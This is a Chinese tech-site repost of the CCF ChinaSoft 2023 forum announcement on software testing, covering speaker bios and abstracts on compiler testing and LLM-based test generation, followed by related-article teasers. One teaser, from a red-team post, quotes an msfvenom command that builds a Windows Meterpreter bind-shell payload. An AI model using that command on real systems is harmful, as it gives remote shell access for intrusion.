CCF ChinaSoft 2023 论坛巡礼|软件测试产教研融合论坛

news2024/11/15 21:44:17

2023年CCF中国软件大会(CCF ChinaSoft 2023)由CCF主办,CCF系统软件专委会、形式化方法专委会、软件工程专委会以及复旦大学联合承办,将于2023年12月1-3日上海国际会议中心举行。

本次大会主题是“智能化软件创新推动数字经济与社会发展”,学术、工业、教育、竞赛等分论坛活动40余场,期待您的参与!

目前大会火热报名中!

CCF ChinaSoft 2023官方首页:

http://chinasoft.ccf.org.cn/

点击文末“阅读原文”或扫描下方二维码进入官方注册通道:

https://conf.ccf.org.cn/chinasoft2023

a33a2bd01c1c7abf4b0af4fd4b770be4.jpeg

d74fbf4be2bba038129e81b21cc0bf7b.jpeg

✦  +

+

论坛巡礼

论坛名称:软件测试产教研融合论坛

时间:2023年12月02日09:00-12:00

地点:复旦大学邯郸校区逸夫楼601会议室

论坛简介:

我国软件产业正处于快速发展的阶段,软件测试作为软件质量保证的关键环节,其重要性日益凸显。为了适应产业发展需求,提高软件测试人才的综合素质,产教研融合成为了当前软件测试领域的重要发展趋势。本论坛旨在搭建一个互动、共享、创新的平台,探讨软件测试领域的前沿技术、产业动态和教学改革。我们将围绕基础软件和大模型的软件测试产教研融合主题,展开深入的交流和研讨,介绍软件测试最新研究成果,推动学术界与产业界的交流与合作,加速技术成果转化。探讨软件测试专业人才培养模式的创新,分享优秀教学资源和实践经验,提高教育教学质量。推动产业、教育、科研三方资源的整合,促进产学研合作,为我国软件测试人才培养提供有力支持。

日程安排

Schedule

e797ebb2002b57ec03a6fabc8d91a702.png

论坛主席

  Forum Chair

f500fdd44ec9837f586dfb2f9c4764f1.png

陈振宇南京大学

南京大学软件学院教授、博导,主要从事智能软件工程的研究。中国计算机学会杰出会员与杰出讲者,国家一流本科课程《软件测试》负责人。曾主持国家重点研发计划课题1项和国家自然科学基金重点项目1项。研究成果已经在中船重工、航天科工、中国电科、国家电网、百度、阿里、腾讯、华为等知名企业转化,研究成果获2012年度江苏省科学技术奖一等奖、2015年湖北省科技进步奖一等奖、2017年CCF NASAC-东软青年软件创新奖、2021年中国电子学会科技进步奖一等奖、2021年江苏省教学成果奖特等奖、2022年国家级教学成果奖一等奖。

论坛嘉宾

Forum Guests

c0545cb623dcf81e2a19b57c2aa7a67e.png

陈俊洁(天津大学

天津大学智能与计算学部特聘研究员,博士生导师,软件工程团队负责人,国家优青项目获得者;研究方向主要为基础软件测试、可信人工智能、数据驱动的软件工程等。荣获中国科协青年托举人才、CCF优博、电子学会自然科学一等奖等奖项,入围斯坦福大学发布的年度全球前2%顶尖科学家榜单。近年发表CCF A类论文60余篇,获六项最佳论文奖(包括五项CCF-A类会议ACM SIGSOFT杰出论文奖,以及一项CCF-B类会议ISSRE的唯一最佳论文奖)。成果在华为、百度等多家知名企业落地。担任CCF-A类会议ASE 2021评审过程主席,Dagstuhl研讨会联合主席,以及软件工程领域全部CCF-A类会议的程序委员会成员等。

报告题目

数据驱动的编译系统测试方法

摘要

为了保障编译系统这一类基础软件的质量,本项研究提出数据驱动的编译系统测试方法,通过细粒度地挖掘与分析历史揭示缺陷的测试程序特性,构建代码语义理解模型,进而利用语义多样性引导生成合法且多样的新测试程序。该种方式显著提升编译系统测试效果与效率,已在广泛使用的编译系统检测到数十个真实未知缺陷,显著优于领域先进技术。

065bfebe8314eb3a59908385602d0185.png

朱少民(同济大学

同济大学特聘教授、CCF TF软件质量工程SIG主席、软件绿色联盟标准评测组组长、AiDD峰会发起人。近三十年来一直从事软件工程的教学和研究工作,先后获得多项省、部级科技进步奖,已出版了二十多部著作和4本译作。之前曾任思科(中国)软件有限公司QA高级总监、IEEE ICST 2019工业论坛主席、IEEE ICST、QRS和DSA、NASAC程序委员、《软件学报》审稿人等。

报告题目

大模型时代软件测试方向与趋势

摘要

在软件研发领域应用Al算法或技术,软件测试是走在前面的,从早期采用遗传算法、粒子群优化算法等生成测试数据开始,Al技术渗透到软件测试的各个方面,包括测试建模、测试用例集优化、GUI白动化测试、测试结果分析等各个方面。大模型不断涌现,对软件研发和测试带来新的机遇和挑战,也迫使软件行业从业人员重新思考软件测试新的方向。本次分享和讨论将着重讨论如何应用大模型为软件测试赋能、如何借助LLM相关技术更高效地完成测试工作,以及未来技术发展方向。

7b3b8e94244bb2028951970453a994bd.png

原玉娇(贝壳

北京理工大学硕士毕业,曾就职于滴滴、字节,目前在贝壳担任资深工程师,负责大模型技术在测试域企业级的工程化探索和应用,基于“领域知识+场景+agent”构建垂直域智能体实现大模型能力延伸,包括测试需求分析、测试用例自动生成、缺陷追踪和智能定位等,优化协同流程机制、助力业务快速迭代从而提升自动化产能。

报告题目

大模型在测试域提效挑战和方案

摘要

测试提效是保障企业生产交付效率的关键。在贝壳因业务多样性带来测试多类别,多领域的特征,因此质量工具建设存在高维护和学习成本(比如环境、性能、稳定性、多端自动化、数据等)。此外,测试人员存在质量方差,质量经验及能力难以迁移导致知识的复用率低。本报告介绍在贝壳基于llm AI应用在测试域提效的挑战和方案,包括如何基于知识工程构建垂直域的质量大脑,如何通过场景扩展agent应用到实际生产交付流程中保障效率提升。

102e8006d03910667e4b78d5f563e595.png

王俊杰中国科学院软件研究所

中国科学院软件研究所研究员,博士生导师,中国科学院特聘研究岗位,软件所杰出青年,主要从事智能化软件工程、软件质量等方面的研究,近年来主要关注移动应用测试、智能软件测试、众包测试等。在国际著名学术期刊/会议发表50余篇高水平学术论文,四次荣获ACM/IEEE杰出论文奖。主持和参与了多项国家自然科学基金项目、科技部重点研发计划、CCF-华为胡杨林基金等。担任CCF A类期刊TSE的副主编(Associate Editor),FSE、ICST、ICSE demo等的PC member,TSE、TOSEM、EMSE、AUSE等期刊的审稿人。

报告题目

基于大模型的移动应用测试

摘要

大语言模型已经在各种领域的下游任务中展现出了令人惊叹的效果,这次报告将介绍我们研究团队近期利用大模型进行移动应用测试方面的一些工作,探索如何充分利用大语言模型的能力来提升移动应用测试的效果和效率。我们这次报告将展示我们在自动生成多样性和复杂性测试输入方面的方法(相关成果发表在ICSE2023),还会分享关于如何利用大语言模型生成GUI测试路径的研究进展(相关成果发表在ICSE2024),以及针对GUI输入文本的模糊测试技术(相关成果发表在ICSE2024)。这些相关技术不仅能够服务于移动应用测试,相关思路也能支撑其他类型的测试任务。

399416ab9c767be69ec23a9ab424a057.png

娄一翎(复旦大学

复旦大学计算机科学技术学院青年副研究员,2016年毕业于北京大学信息科学技术学院,获理学学士学位,2021年毕业于北京大学信息科学技术学院,获理学博士学位,博士毕业后在美国普渡大学计算机系任博后研究员。主要研究方向包括软件工程、软件测试与分析、智能化软件开发等。目前已在ICSE、FSE、ASE、ISSTA、TSE等软件工程国际高水平会议和期刊上发表论文二十余篇,获ACM SIGSOFT Distinguished Paper Award、IEEE TCSE Distinguished Paper Award,并担任ICSE、FSE、ASE、ISSTA等国际会议程序委员会委员。

报告题目

基于大模型的单元测试生成

摘要

人工编写单元测试费时费力。传统方法所生成的单元测试代码往往不符合开发者的编码风格,对单元测试的编写效率提升有限。大语言模型(LLMs)在大规模代码语料上进行预训练,往往能够生成更接近开发者风格的、更有意义的代码,因此在单元测试生成方面具有巨大潜力。本报告将分享ChatGPT等代表性大模型在单元测试生成上的能力评估,包括其所生成单元测试代码的正确性、充分性、可读性和可用性等;进而提出基于大模型的高质量单元测试生成方法,并探索该方法在开源和商用大模型上的效果。

2c6370dc417a10e531c1d85228d1ea29.png

周建祎(华为

华为云PaaS技术创新Lab算法工程师,本硕毕业于北京航空航天大学,博士毕业于北京大学计算机学院。博士阶段的研究方向包括测试执行优化和深度学习系统测试,在CCF-A类会议或期刊共发表4篇论文。22年获得博士学位入职华为。入职以后围绕单元测试用例自动生成和自动演化等方向展开工作。近期带领团队探索基于大模型生成单元测试用例的实践。

报告题目

华为云智能单元测试生成实践

摘要

随着软件系统规模扩大,保障软件系统正确性需要做的工作越来越多。大量的维护、测试人员投入在保证软件系统的正确性上。业界也逐渐意识到测试左移的重要性。如何自动生成单元测试用例也逐渐成为业界关注的热点。早期,主流的单元测试用例自动生成技术主要利用代码分析技术自动生成单元测试用例,主要面临的技术难点包括:复杂对象构造、多语言拓展、可读性提升等。当下,随着大模型的能力在许多领域取得了突破性进展,传统技术的一些局限找到了更好的解决方案。我们尝试利用之前积累的代码分析技术结合大模型技术,进一步提升单元测试用例自动生成的效果,提升研发和测试效率。本次报告将分享如何利用大模型技术自动生成单元测试用例,以及在华为的落地实践。

6ce3f4eeb3e18d0c3bc594dc84ef56e4.jpeg

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1223165.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于DOTween插件实现金币飞行到指定位置功能

文章目录 前言一、DOTween是什么?二、使用步骤1.导入DOTween插件在Unity官方插件商店找到DOTween插件导入DOTween插件启用DOTween插件 2.代码逻辑金币飞行代码控制飞行效果代码 3.物体配置1.物体上装配CoinEffect脚本2.在金币预制体上装配FlyControl脚本 三、效果展…

Pytorch torch.normal()的用法

该函数原型如下: normal(mean, std, *, generatorNone, outNone) 该函数返回从单独的正态分布中提取的随机数的张量,该正态分布的均值是mean,标准差是std。 用法如下:我们从一个标准正态分布N~(0,1),提取…

YOLOv8-Seg改进:渐近特征金字塔网络(AFPN)

🚀🚀🚀本文改进:AFPN通过融合两个相邻的Low-Level特征来启动的,并渐进地将High-Level特征纳入融合过程,提升分割能力。 🚀🚀🚀AFPN小目标分割首选,暴力涨点 🚀🚀🚀YOLOv8-seg创新专栏:http://t.csdnimg.cn/KLSdv 学姐带你学习YOLOv8,从入门到创新,轻…

QTableWidget——表格的合并与拆分

一、整体思路 表格的操作使用QTableView::setSpan可以实现表格的行和列的合并 表格拆分没有对应的处理函数 主要思路:对表格的属性、内容、拆分与合并的参数进行存储,在进行拆分时对表格内容进行重新创建(不考虑效率问题) 二、效…

电脑技巧:低配置的旧电脑也可以使用Win11系统了

目录 一、优点和适用场景 二、下载以及版本说明 三、安装说明 四、Tiny11 设置安装简体中文语言方法 Windows 11,作为微软最新一代操作系统,固然有其强大的功能和卓越的性能,但有时,更轻、更小、更快速的需求也在用户的考虑范…

企业视频数字人有哪些应用场景

来做个数字人吧,帮我干点活吧。 国内的一些数字人: 腾讯智影 腾讯智影数字人是一种基于人工智能技术的数字人物形象,具有逼真的外观、语音和行为表现,可以应用于各种场景,如新闻播报、文娱推介、营销、教育等。 幻…

链路追踪,助您洞悉数据联动分析的奥秘

前言 在当今复杂的分布式系统中,了解请求在不同服务之间的传递路径和性能情况对于系统的性能优化至关重要。链路追踪通过记录和分析请求在系统中的传递路径和性能数据,为实现数据联动分析提供了重要的支持。我们曾谈论观测云提供火焰图能够实现链路追踪…

js/jQuery 的一些常用操作(js/jQuery获取表单元素值 以及 清空元素值的各种实现方式)——附测试例子,拿来即能实现效果

js/jQuery 的一些常用操作(js/jQuery获取表单元素值 以及 清空元素值的各种实现方式)——附测试例子,拿来即能实现效果 1. 前言2. 获取表单元素的值2.1 简单获取元素中的值2.1.1 根据 id 简单取值2.2.2 根据name 简单取值2.1.3 获取单选按钮的…

红队攻防之特殊场景上线cs和msf

倘见玉皇先跪奏:他生永不落红尘 本文首发于先知社区,原创作者即是本人 网络拓扑图 一、msf正向木马拿不出网域控shell msf生成木马 msfvenom -p windows/x64/meterpreter/bind_tcp lport4444 -f raw -o msf1.bin用msfvenom生成一个正向马传进去&…

第五届全国高校计算机能力挑战赛-程序设计挑战赛(C++)

代码输出结果题目,自己跟着敲一遍就行了!!! 指针常量和常量指针的区别https://blog.csdn.net/qq_36132127/article/details/81940015?ops_request_misc%257B%2522request%255Fid%2522%253A%2522170027731616800222813804%2522%2…

基于人工电场算法优化概率神经网络PNN的分类预测 - 附代码

基于人工电场算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于人工电场算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于人工电场优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要:针对PNN神…

LeetCode47-全排列II-剪枝逻辑

参考链接: 🔗:卡尔的代码随想录:全排列II 这里第一层,used只有一个元素为1,代表只取出了1个元素作为排列,第二层used有两个元素为1,代表取出了2个元素作为排列,因为数组有序,所以重复的元素都是挨着的,因此可以使用如下语句去重. 其中visit[i-1]False的话,就是代表…

代码随想录算法训练营第三十八天【动态规划part01】 | 动态规划理论基础、509. 斐波那契数、70. 爬楼梯、746. 使用最小花费爬楼梯

动态规划理论基础 什么是动态规划 动态规划 (Dynamic Programming, DP),是求解决策过程最优化的过程。 如果某一问题有很多重叠子问题,使用动态规划是最有效的。 所以动态规划中每一个状态一定是由上一个状态推导出来的,这一点就区分于贪…

振南技术干货集:比萨斜塔要倒了,倾斜传感器快来!(5)

注解目录 1、倾斜传感器的那些基础干货 1.1 典型应用场景 (危楼、边坡、古建筑都是对倾斜敏感的。) 1.2 倾斜传感器的原理 1.2.1 滚珠式倾斜开关 1.2.2 加速度式倾斜传感器 1)直接输出倾角 2)加速度计算倾角 3)倾角精度的提高 (如果…

NC65 如何设置现金流量明细查询的查询框中核算账簿可多选??

NC65 如何设置现金流量明细查询的查询框中核算账簿可多选?? NC65 如何设置现金流量明细查询的查询框中核算账簿可多选??效果如下图 解决方案二开,即在 nc.ui.gl.cashflowcase.CashFlowDetailQueryUI 的 onButtonQuer…

2018年五一杯数学建模B题商业银行人民币贷款规模分配及盈利问题解题全过程文档及程序

2019年五一杯数学建模 B题 商业银行人民币贷款规模分配及盈利问题 原题再现 商业银行贷款投放的简单模型是:从客户端吸收存款,缴存法定准备金(法定准备金率:大型金融机构15.5%,中小金融机构12%;法定准备金…

安装 eslint 配置指南 及 遇到的一些问题记录

前端eslint配置指南 背景 当前前端项目风格混乱,每个人有自己的开发习惯,有自己的格式化习惯,不便于项目的风格统一,不利于代码维护有的项目eslint没有用起来,没有起到规范代码的作用,导致出现一些基础代码…

RT-DETR算法优化改进:Inner-IoU基于辅助边框的IoU损失,高效结合 GIoU, DIoU, CIoU,SIoU 等 | 2023.11

本文改进:Inner-IoU引入尺度因子 ratio 控制辅助边框的尺度大小用于计算损失,并与现有的基于 IoU ( GIoU, DIoU, CIoU,SIoU )损失进行有效结合 推荐指数:5颗星 新颖指数:5颗星 RT-DETR魔术师专栏介绍: https://blog.csdn.net/m0_63774211/category_12497375…

UE5 C++报错:is not currently enabled for Live Coding

解决办法: 再次打开项目,以此法打开:

【汇编】Loop指令、段前缀

文章目录 前言一、Loop指令1.1 Loop指令是什么?1.2 他的条件是什么?1.3 例子示例1示例2 1.4 要点总结 二、段前缀2.1 为什么要引入他2.2 对策 总结 前言 在计算机编程的世界里,了解底层的硬件操作是提升程序员能力的关键一步。汇编语言作为一…